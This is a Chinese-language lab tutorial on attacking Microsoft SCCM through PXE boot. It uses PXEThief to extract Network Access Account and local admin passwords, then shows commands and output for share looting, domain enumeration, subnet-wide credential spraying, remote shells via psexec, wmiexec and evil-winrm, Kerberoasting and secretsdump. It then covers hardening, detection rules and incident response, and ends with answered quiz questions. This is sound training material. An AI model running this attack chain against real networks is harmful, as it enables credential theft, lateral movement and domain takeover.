Microsoft System Center Configuration Manager(SCCM,現稱為 Microsoft Endpoint Configuration Manager,簡稱 MECM)是企業環境中廣泛使用的系統管理平台,用於大規模部署作業系統、應用程式和更新。其中 PXE(Preboot Execution Environment)網路開機功能可讓管理員透過網路遠端部署作業系統到裸機,大幅提升部署效率。
然而,PXE 開機機制若未妥善設定,可能成為攻擊者的入侵管道。攻擊者可以透過偽裝成待部署的裝置,攔截並解密 PXE 開機過程中傳輸的敏感資訊,包括 Network Access Account(NAA)憑證、Task Sequence 中的本機管理員密碼,甚至是用於網域加入的帳戶資訊。這些憑證一旦外洩,攻擊者便能在企業網路中進行橫向移動,存取敏感資料,甚至完全控制整個 SCCM 基礎設施。
本文將透過實際操作演練,完整展示 PXE 攻擊的執行過程、後續利用手法,以及對應的防禦措施。透過了解攻擊者的視角,資安管理人員能更有效地強化 SCCM 環境的安全性。
前往 Python 官方網站下載並安裝 Python 3.10:
實作以 python 3.12 為範例
驗證安裝:
python --version
以管理員身份開啟 PowerShell,執行:
Enable-WindowsOptionalFeature -Online -FeatureName "TFTP"
驗證 TFTP 已啟用:
Get-WindowsOptionalFeature -Online -FeatureName "TFTP"
確認輸出中 State
為 Enabled
。
下載並安裝 Npcap:
mkdir C:\tools
cd C:\tools
git clone https://github.com/MWR-CyberSec/PXEThief.git
cd PXEThief
# 建立虛擬環境
python -m venv venv
# 啟動虛擬環境
.\venv\Scripts\Activate.ps1
如遇到執行政策錯誤,先執行:
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
成功後提示符會顯示 (venv)
。
問題一:Scapy 版本不相容
直接安裝會遇到 get_if_raw_hwaddr
函數不存在的錯誤。
解決方案:安裝特定版本的 Scapy
pip install scapy==2.5.0
pip install requests==2.31.0
pip install requests-toolbelt==1.0.0
pip install pywin32
pip install pycryptodome
pip install lxml
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
注意:測試完成後記得重新啟用防火牆。
python pxethief.py 2 192.168.52.11
預期輸出:
[!] Blank password on PXE boot found!
[!] Variables File Location: \SMSTemp\2025.xx.xx...boot.var
[!] BCD File Location: \SMSTemp\2025.xx.xx...boot.bcd
問題二:TFTP 自動下載失敗
工具會嘗試自動下載,但可能顯示「連線要求失敗」。
解決方案:手動執行 TFTP 下載命令
從輸出中複製 TFTP 命令並執行:
tftp -i 192.168.52.11 GET "\SMSTemp\2025.10.13.05.34.39.0001.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.var" "2025.10.13.05.34.39.0001.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.var"
tftp -i 192.168.52.11 GET "\SMSTemp\2025.10.13.05.34.39.04.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.bcd" "2025.10.13.05.34.39.04.{1EF8AC87-FB3F-4E6F-B00C-A17F2DAB1D43}.boot.bcd"
成功輸出:
順利傳輸: 1 秒內傳送 13370 個位元組,每秒 13370 個位元組
順利傳輸: 1 秒內傳送 12288 個位元組,每秒 12288 個位元組
驗證檔案已下載:
dir *.boot.*
問題三:DNS 解析失敗
執行攻擊時會遇到無法解析 mecm.sccm.lab
的錯誤。
解決方案:修改 hosts 檔案
以管理員身份開啟記事本:
notepad C:\Windows\System32\drivers\etc\hosts
在檔案最後加入:
192.168.52.11 mecm.sccm.lab
儲存並關閉。
驗證 DNS 解析:
ping mecm.sccm.lab
python pxethief.py 2 192.168.52.11
工具會自動:
成功執行後會顯示:
[!] Network Access Account Username: 'sccm.lab\sccm-naa'
[!] Network Access Account Password: '123456789'
In TS Step "Apply Windows Settings":
OSDRegisteredUserName - administrator
OSDLocalAdminPassword - EP+xh7Rk6j90
In TS Step "Apply Network Settings":
OSDJoinAccount - sccm.lab\sccm-naa
OSDJoinPassword - 123456789
工具會產生以下檔案:
{91968E9C-F373-4DD3-9D82-1763C3
檢視 variables.xml:
notepad variables.xml
# 列出可用的共享資源
smbclient -L //192.168.52.11 -U 'sccm.lab\sccm-naa%123456789'
輸出:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
AdminUIContentPayload Disk AdminUIContentPayload share
C$ Disk Default share
REMINST Disk RemoteInstallation
SCCMContentLib$ Disk Configuration Manager Content Library
SMSPKGC$ Disk SMS Site P01 DP
SMSPKGE$ Disk SMS Site P01 DP
SMS_P01 Disk SMS Site P01 DP
從輸出中可以看到以下關鍵共享:
重點目標共享:
測試存取權限:
# 存取 REMINST 共享
smbclient //192.168.52.11/REMINST -U 'sccm.lab\sccm-naa%123456789'
# 在 smb 尋找
smb: \> ls
smb: \> cd SMSTemp
smb: \> ls
smb: \> cd ..
smb: \> cd SMSImages
smb: \> ls
smb: \> exit
# 驗證憑證有效性
crackmapexec smb 192.168.52.11 -u 'sccm-naa' -p '123456789' -d 'sccm.lab'
# 預期輸出
# SMB 192.168.52.11 445 MECM [+] sccm.lab\sccm-naa:123456789
NAA 帳戶通常擁有以下權限:
# 使用 CrackMapExec 枚舉共享
crackmapexec smb 192.168.52.11 -u 'sccm-naa' -p '123456789' -d 'sccm.lab' --shares
# 輸出會顯示每個共享的讀寫權限
SMB 192.168.52.11 445 MECM Share Permissions Remark
SMB 192.168.52.11 445 MECM ----- ----------- ------
SMB 192.168.52.11 445 MECM ADMIN$ Remote Admin
SMB 192.168.52.11 445 MECM AdminUIContentPayload AdminUIContentPayload share for AdminUIContent Packages
SMB 192.168.52.11 445 MECM C$ Default share
SMB 192.168.52.11 445 MECM E$ Default share
SMB 192.168.52.11 445 MECM EasySetupPayload EasySetupPayload share for EasySetup Packages
SMB 192.168.52.11 445 MECM IPC$ READ Remote IPC
SMB 192.168.52.11 445 MECM REMINST READ RemoteInstallation
SMB 192.168.52.11 445 MECM SCCMContentLib$ READ 'Configuration Manager' Content Library for site P01 (10/11/2025)
SMB 192.168.52.11 445 MECM share_iso READ iso share for all domain users
SMB 192.168.52.11 445 MECM SMSPKGC$ READ SMS Site P01 DP 10/11/2025
SMB 192.168.52.11 445 MECM SMSPKGE$ READ SMS Site P01 DP 10/13/2025
SMB 192.168.52.11 445 MECM SMSSIG$ READ SMS Site P01 DP 10/11/2025
SMB 192.168.52.11 445 MECM SMS_CPSC$ SMS Compressed Package Storage
SMB 192.168.52.11 445 MECM SMS_DP$ ConfigMgr Site Server DP share
SMB 192.168.52.11 445 MECM SMS_OCM_DATACACHE OCM inbox directory
SMB 192.168.52.11 445 MECM SMS_P01 SMS Site P01 10/11/25
SMB 192.168.52.11 445 MECM SMS_SITE SMS Site P01 10/11/25
SMB 192.168.52.11 445 MECM SMS_SUIAgent SMS Software Update Installation Agent -- 10/11/25
SMB 192.168.52.11 445 MECM UpdateServicesPackages READ A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
SMB 192.168.52.11 445 MECM WsusContent READ A network share to be used by Local Publishing to place published content on this WSUS system.
SMB 192.168.52.11 445 MECM WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
掛載 REMINST 共享
# 建立掛載點
sudo mkdir -p /mnt/reminst
# 掛載共享
sudo mount -t cifs //192.168.52.11/REMINST /mnt/reminst \
-o username=sccm-naa,password=123456789,domain=sccm.lab
# 探索內容
ls -la /mnt/reminst/
ls -la /mnt/reminst/SMSTemp/
ls -la /mnt/reminst/SMSImages/
搜尋密碼和憑證
# 搜尋包含密碼關鍵字的檔案
grep -ri "password\|credential\|secret\|key" /mnt/reminst/ 2>/dev/null | head -20
# 列出所有腳本檔案
find /mnt/reminst -type f \( -name "*.bat" -o -name "*.ps1" -o -name "*.vbs" -o -name "*.cmd" \)
find /mnt/reminst/SMSTemp -type f
find /mnt/reminst/SMSImages -type f
find /mnt/reminst/SMSBoot -type f -name "*.ini" -o -name "*.cfg"
find /mnt/reminst/Tmp -type f
# 建立本機儲存目錄
mkdir -p ~/sccm-loot/{scripts,configs,packages}
# 下載所有 PowerShell 腳本
find /mnt/reminst -name "*.ps1" -exec cp {} ~/sccm-loot/scripts/ \;
# 下載設定檔
find /mnt/reminst -name "*.xml" -o -name "*.ini" -exec cp {} ~/sccm-loot/configs/ \;
# 下載批次檔
find /mnt/reminst -name "*.bat" -o -name "*.cmd" -exec cp {} ~/sccm-loot/scripts/ \;
# 使用完畢後記得卸載
sudo umount /mnt/reminst
使用 rpcclient 枚舉網域
# 連線到 RPC
rpcclient -U 'sccm.lab\sccm-naa%123456789' 192.168.52.10
參數說明:
-U
:指定使用者帳號和密碼sccm.lab\sccm-naa
:網域名稱\使用者帳號123456789
:密碼(以 %
符號分隔)192.168.52.10
:目標網域控制站的 IP 位址在 rpcclient 提示符下執行:
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querydominfo
rpcclient $> querydispinfo
rpcclient $> lsaenumsid
rpcclient $> exit
這個指令會顯示網域中所有的使用者帳號及其 RID(相對識別碼):
sccm-client-push
:用於推送用戶端安裝sccm-account-da
:SCCM 管理帳號sccm-naa
:網路存取帳號(目前使用的帳號)sccm-sql
:SQL 服務帳號顯示網域中的安全性群組:
LocalAdmins
:本機系統管理員RDPUsers
:遠端桌面使用者SCCM-Site-Server
:SCCM 站台伺服器SCCM-Admins
:SCCM 管理員SCCM-Managed-Device
:SCCM 管理的裝置顯示網域的基本資訊:
顯示更詳細的使用者資訊,包含描述欄位:
列出本機安全性授權(LSA)資料庫中的 SID,包含:
使用 enum4linux-ng 完整枚舉
# 安裝 enum4linux-ng(如果尚未安裝)
sudo apt install enum4linux-ng
# 執行完整枚舉
enum4linux-ng -A -u 'sccm-naa' -p '123456789' -w 'sccm.lab' -oY enum4linux_output 192.168.52.10
掃描同網段的 SMB 主機
# 使用 nmap 掃描 SMB 端口
nmap -p 445 --open 192.168.52.0/24 -oG smb_hosts.txt
# 提取存活主機清單
grep "445/open" smb_hosts.txt | awk '{print $2}' > targets.txt
# 查看找到的主機
cat targets.txt
批次測試 NAA 憑證
# 使用 CrackMapExec 批次測試
crackmapexec smb targets.txt -u 'sccm-naa' -p '123456789' -d 'sccm.lab'
# 或直接掃描整個網段
crackmapexec smb 192.168.52.0/24 -u 'sccm-naa' -p '123456789' -d 'sccm.lab'
# 顯示成功認證的主機
crackmapexec smb 192.168.52.0/24 -u 'sccm-naa' -p '123456789' -d 'sccm.lab' | grep "\[+\]"
枚舉可存取主機的共享
# 列出所有主機的共享
crackmapexec smb targets.txt -u 'sccm-naa' -p '123456789' -d 'sccm.lab' --shares
# 或對整個網段
crackmapexec smb 192.168.52.0/24 -u 'sccm-naa' -p '123456789' -d 'sccm.lab' --shares
從 Task Sequence 中取得的本機管理員密碼:EP+xh7Rk6j90
測試本機管理員密碼
# 測試網段內的主機
crackmapexec smb 192.168.52.0/24 -u 'administrator' -p 'EP+xh7Rk6j90' --local-auth
# 查看成功的主機
crackmapexec smb 192.168.52.0/24 -u 'administrator' -p 'EP+xh7Rk6j90' --local-auth | grep "Pwn3d"
取得 Shell
# 發現可以登入的主機
impacket-psexec ./administrator:'EP+xh7Rk6j90'@192.168.52.13
# 或使用 wmiexec
impacket-wmiexec ./administrator:'EP+xh7Rk6j90'@192.168.52.13
evil-winrm -i 192.168.52.13 -u administrator -p 'EP+xh7Rk6j90'
whoami
hostname
net user
ipconfig
Kerberoasting 是一種攻擊技術,用於取得服務帳戶的 Kerberos TGS 票據並離線破解。若環境中沒有設定 SPN 的服務帳戶,此攻擊將無法取得任何雜湊值。
# 請求所有服務主體名稱(SPN)的票據
impacket-GetUserSPNs 'sccm.lab/sccm-naa:123456789' \
-dc-ip 192.168.52.10 \
-request \
-outputfile kerberoast.txt
cat kerberoast.txt
# 使用 hashcat 破解(如果取得雜湊)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
> 破解失敗,沒有在字典檔內
AS-REP Roasting 攻擊針對不需要 Kerberos 預先驗證的帳戶。
# 查詢不需要預先驗證的帳戶
impacket-GetNPUsers 'sccm.lab/sccm-naa:123456789' -dc-ip 192.168.52.10 -request -outputfile asrep_hashes.txt
# 使用 hashcat 破解
# hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# 嘗試使用 secretsdump 提取憑證
impacket-secretsdump 'sccm.lab/sccm-naa:123456789@192.168.52.11'
# 如果失敗(預期),會顯示權限不足
# 這有助於了解帳戶的權限範圍
impacket-secretsdump './administrator:EP+xh7Rk6j90@192.168.52.13'
偵察階段:
資料收集階段:
橫向移動測試:
基於取得的資訊,可以進行:
PXE 攻擊成功
↓
取得 NAA 憑證 (sccm-naa:123456789)
├─→ 存取 SCCM 共享
│ ├─→ 下載部署腳本
│ ├─→ 發現硬編碼憑證
│ └─→ 分析設定檔
│
├─→ 枚舉網域
│ ├─→ 取得使用者列表
│ ├─→ 取得電腦列表
│ ├─→ BloodHound 分析
│ └─→ 找出攻擊路徑
│
├─→ 橫向移動
│ ├─→ 使用本機管理員密碼 (EP+xh7Rk6j90)
│ ├─→ 取得多台主機的 Shell
│ └─→ 提取更多憑證
│
└─→ 進階攻擊
├─→ Kerberoasting
├─→ AS-REP Roasting
├─→ NTLM Relay(步驟六)
└─→ SCCM Admin Takeover(步驟六)
設定步驟:
重要性:設定 PXE 密碼後,任何嘗試透過網路開機的裝置都必須輸入正確密碼,可有效阻擋未經授權的 PXE 開機攻擊。
在發佈點(Distribution Point)設定中:
發佈點內容 → PXE 標籤:
□ 允許此發佈點回應傳入的 PXE 要求
☑ 只對已知的電腦回應 PXE 要求
☑ 要求電腦核准,才能使用 PXE 進行部署
說明:
實施 VLAN 隔離:
建議網路架構:
├─ Management VLAN (VLAN 10)
│ └─ SCCM 伺服器、網域控制站
├─ Deployment VLAN (VLAN 20)
│ └─ 待部署的裸機
└─ Production VLAN (VLAN 30)
└─ 正式環境用戶端
防火牆規則:
封鎖規則:
- 來源:Production VLAN (192.168.52.0/24)
- 目的地:SCCM Server (192.168.52.11)
- 通訊埠:69/UDP (TFTP)、4011/UDP (DHCP Proxy)
- 動作:拒絕
最佳實務:自 SCCM 1806 版本起,可以使用「增強型 HTTP」功能來取代 NAA。
啟用步驟:
優點:
權限設定檢查清單:
PowerShell 驗證腳本:
# 檢查 NAA 帳戶的群組成員資格
$naaAccount = "sccm.lab\sccm-naa"
Get-ADUser -Identity "sccm-naa" -Properties MemberOf |
Select-Object -ExpandProperty MemberOf
# 應該只看到 "Domain Users" 或類似的最小權限群組
強密碼政策:
不良做法:
<!-- 不要這樣做 -->
<step name="Apply Windows Settings">
<OSDLocalAdminPassword>EP+xh7Rk6j90</OSDLocalAdminPassword>
</step>
建議做法一:使用隨機密碼 + LAPS
# 在 Task Sequence 中使用腳本產生隨機密碼
$randomPassword = [System.Web.Security.Membership]::GeneratePassword(16, 4)
Set-OSDVariable -Name "OSDLocalAdminPassword" -Value $randomPassword
# 部署後立即安裝並啟用 LAPS
建議做法二:使用變數集合並加密
設定權限:
SCCM 主控台 → 軟體程式庫 → 作業系統 → 工作順序
右鍵點擊 Task Sequence → 內容 → 安全性標籤:
允許:
- SCCM-Admins:完全控制
- SCCM-Operators:讀取、執行
拒絕:
- Domain Users:所有權限
- Authenticated Users:讀取
REMINST 共享建議權限:
共享權限:
- SYSTEM:完全控制
- SCCM Site Server Computer Account:完全控制
- SCCM Network Access Account:讀取(如必要)
檔案系統權限(NTFS):
- Administrators:完全控制
- SYSTEM:完全控制
- SCCM Site Server Computer Account:修改
- NAA:讀取與執行(僅限必要子資料夾)
PowerShell 設定範例:
# 移除 "Everyone" 群組
$shareName = "REMINST"
$share = Get-SmbShare -Name $shareName
Grant-SmbShareAccess -Name $shareName -AccountName "SCCM.LAB\SCCM-NAA" -AccessRight Read -Force
Revoke-SmbShareAccess -Name $shareName -AccountName "Everyone" -Force
# 驗證權限
Get-SmbShareAccess -Name $shareName
檔案系統稽核:
# 對 SCCM 共享啟用詳細稽核
$path = "E:\RemoteInstall"
$acl = Get-Acl $path
# 設定稽核規則:記錄所有存取失敗
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
"FullControl",
"ContainerInherit,ObjectInherit",
"None",
"Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl $path $acl
# 啟用 Windows 稽核原則
auditpol /set /subcategory:"File Share" /success:enable /failure:enable
LAPS 優點:
部署步驟:
# 1. 安裝 LAPS(在網域控制站)
# 下載:https://www.microsoft.com/en-us/download/details.aspx?id=46899
# 2. 擴充 AD 架構
Import-Module AdmPwd.PS
Update-AdmPwdADSchema
# 3. 設定權限
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=sccm,DC=lab"
# 4. 設定密碼原則
Set-AdmPwdPasswordPolicy -OrgUnit "OU=Workstations,DC=sccm,DC=lab" `
-PasswordLength 16 `
-PasswordComplexity 4 `
-PasswordAge 30
實施 Windows Defender Firewall 規則:
# 封鎖工作站之間的 SMB 連線(只允許伺服器)
New-NetFirewallRule -DisplayName "Block Workstation-to-Workstation SMB" `
-Direction Inbound `
-Protocol TCP `
-LocalPort 445 `
-RemoteAddress 192.168.52.100-192.168.52.200 `
-Action Block `
-Profile Domain
實施 Protected Users 群組:
# 將高權限帳戶加入 Protected Users 群組
Add-ADGroupMember -Identity "Protected Users" -Members "sccm-account-da"
# Protected Users 的保護機制:
# - 不能使用 NTLM 驗證
# - Kerberos TGT 有效期限縮短為 4 小時
# - 無法委派(不受限或受限)
建議工具:
關鍵偵測規則:
偵測場景:
- 異常的 TFTP 連線活動
- 大量 SMB 枚舉行為
- PXEThief 工具特徵(Scapy 網路封包操作)
- 異常的 rpcclient 或 Impacket 工具使用
- 短時間內多次 SMB 認證失敗
- 非上班時間的 PXE 開機請求
Windows 事件記錄監控:
關鍵事件 ID:
- 4624:帳戶成功登入(監控類型 3 - 網路登入)
- 4625:帳戶登入失敗(暴力破解跡象)
- 4768/4769:Kerberos TGT/TGS 請求(Kerberoasting)
- 5140:已存取網路共享物件
- 5145:已檢查共享物件(枚舉行為)
SIEM 查詢範例(Splunk):
# 偵測 Kerberoasting 攻擊
index=windows EventCode=4769
| where Ticket_Encryption_Type="0x17"
| stats count by src_ip, Account_Name
| where count > 10
# 偵測 SMB 枚舉
index=windows EventCode=5140 OR EventCode=5145
| stats dc(Share_Name) as unique_shares by src_ip
| where unique_shares > 20
部署 IDS/IPS:
Suricata/Snort 規則範例:
# 偵測 PXE 開機請求
alert udp any any -> any 67 (msg:"Possible PXE Boot Request"; \
content:"|00|"; offset:236; depth:1; \
sid:1000001;)
# 偵測大量 TFTP GET 請求
alert udp any any -> any 69 (msg:"Multiple TFTP GET requests"; \
threshold: type both, track by_src, count 10, seconds 60; \
sid:1000002;)
懷疑 PXE 攻擊時的處理流程:
1. 立即行動(0-15 分鐘)
# 暫時停用 PXE 功能
Stop-Service WDSServer
2. 隔離與調查(15-60 分鐘)
# 識別可疑的 PXE 開機請求
Get-WinEvent -LogName "Microsoft-Windows-Deployment-Services-Diagnostics/Operational" |
Where-Object { $_.TimeCreated -gt (Get-Date).AddHours(-1) } |
Select-Object TimeCreated, Message
# 檢查異常的 TFTP 連線
Get-WinEvent -LogName "Microsoft-Windows-TFTP-Service/Operational" |
Where-Object { $_.TimeCreated -gt (Get-Date).AddHours(-1) }
3. 修復與強化(1-4 小時)
4. 後續追蹤(1-7 天)
每週檢查:
每月檢查:
每季檢查:
每年檢查:
PXE 開機攻擊對 SCCM 環境構成嚴重威脅,但透過多層防禦策略可以有效降低風險。
最關鍵的三項防禦措施:
縱深防禦架構:
網路隔離(VLAN、防火牆)
↓
身份驗證強化(PXE 密碼、增強型 HTTP)
↓
權限最小化(NAA 限縮、LAPS)
↓
偵測與回應(EDR、SIEM、IDS/IPS)
安全防護是一個持續的過程,需要技術控制、流程管理和人員意識三者的結合。只有透過全面的安全策略,才能確保 SCCM 環境免受類似攻擊的威脅。
在步驟五中,NAA(Network Access Account)帳戶的主要用途為何?
A. 用於安裝 SCCM 用戶端到目標電腦
B. 用於存取 SCCM 部署內容的網路共享資源
C. 用於管理 SCCM 主控台
D. 用於執行遠端程式碼
答案:B
解析:Network Access Account 是 SCCM 中專門用來讓用戶端電腦存取發佈點(Distribution Point)上部署內容的帳戶。當用戶端電腦本身的電腦帳戶權限不足以存取內容時,就會使用 NAA 帳戶來下載應用程式、套件或作業系統映像。這個帳戶通常具有讀取 SCCM 相關共享(如 SMSPKGC$、REMINST)的權限。
使用 crackmapexec smb
指令測試憑證時,輸出結果中出現「Pwn3d!」標記代表什麼意義?
A. 帳戶密碼錯誤
B. 連線逾時
C. 帳戶已被鎖定
D. 該帳戶具有目標主機的本機管理員權限
答案:D
解析:CrackMapExec 工具在輸出中使用「Pwn3d!」標記來表示該憑證不僅驗證成功,而且該帳戶在目標主機上具有管理員權限(可以執行 PSExec、WMI 等遠端管理操作)。這個標記是滲透測試人員的重要指標,代表可以使用該憑證進行橫向移動或取得遠端 Shell。
下列哪個 Impacket 工具用於請求並匯出具有 SPN 的服務帳戶的 Kerberos TGS 票據雜湊?
A. impacket-GetNPUsers
B. impacket-GetUserSPNs
C. impacket-secretsdump
D. impacket-psexec
答案:B
解析:impacket-GetUserSPNs
是專門用於執行 Kerberoasting 攻擊的工具。它會列舉網域中所有設定了服務主體名稱(SPN)的帳戶,並請求這些服務的 Kerberos TGS(Ticket Granting Service)票據。這些票據使用服務帳戶的密碼雜湊加密,可以離線破解。相對地,GetNPUsers 用於 AS-REP Roasting 攻擊,secretsdump 用於提取憑證,psexec 用於遠端執行。
在步驟 5.2.5 中使用 rpcclient
枚舉網域資訊時,下列哪個指令用於列出網域中的所有使用者帳戶?
A. enumdomgroups
B. querydominfo
C. enumdomusers
D. lsaenumsid
答案:C
解析:在 rpcclient 工具中,enumdomusers
指令專門用來列舉網域中所有的使用者帳戶及其相對識別碼(RID)。其他指令的功能為:enumdomgroups
列出網域群組、querydominfo
顯示網域基本資訊(如網域名稱、使用者總數等)、lsaenumsid
列出本機安全性授權資料庫中的安全性識別碼(SID)。
從 Task Sequence 中取得的本機管理員密碼「EP+xh7Rk6j90」,最有可能被用於下列哪種攻擊情境?
A. SQL Injection
B. Pass-the-Hash
C. 橫向移動到其他使用相同密碼的端點
D. DNS 投毒攻擊
答案:C
解析:SCCM 的 Task Sequence 中設定的本機管理員密碼通常會套用到所有透過該任務序列部署的電腦上。這意味著所有經由此 Task Sequence 安裝的系統,其本機 Administrator 帳戶都會使用相同的密碼。攻擊者可以利用這個密碼嘗試登入環境中的其他端點,實現橫向移動。這是 SCCM 環境中常見的安全風險,也是步驟 5.2.7 中測試的重點。